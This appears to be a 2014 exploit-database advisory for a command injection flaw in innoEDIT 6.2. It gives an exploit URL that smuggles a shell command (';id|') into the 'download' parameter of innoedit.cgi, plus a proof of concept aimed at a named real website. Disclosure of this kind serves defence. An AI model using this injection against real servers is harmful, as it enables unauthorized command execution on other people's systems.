innoEDIT 6.2 Remote Command Execution

2014.03.22

Credit: Felipe Andrian Peixoto

Risk: High

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-78

[+] Remote Comand Execution on innoEDIT
[+] Date: 21/03/2014
[+] Risk: High
[+] Author: Felipe Andrian Peixoto
[+] Vendor Homepage : http://www.inno.com.mx/innoedit.htm
[+] Contact: felipe_andrian@hotmail.com
[+] Tested on Windows 7 and Linux
[+] Vulnerable File: innoedit.cgi
[+] Version : Version 6.2
[+] Exploit: http://host/innoedit/innoedit.cgi?download=;id|
[+] PoC: http://www.mtyjet.com/innoedit/innoedit.cgi?download=;id|

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

innoEDIT 6.2 Remote Command Execution

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.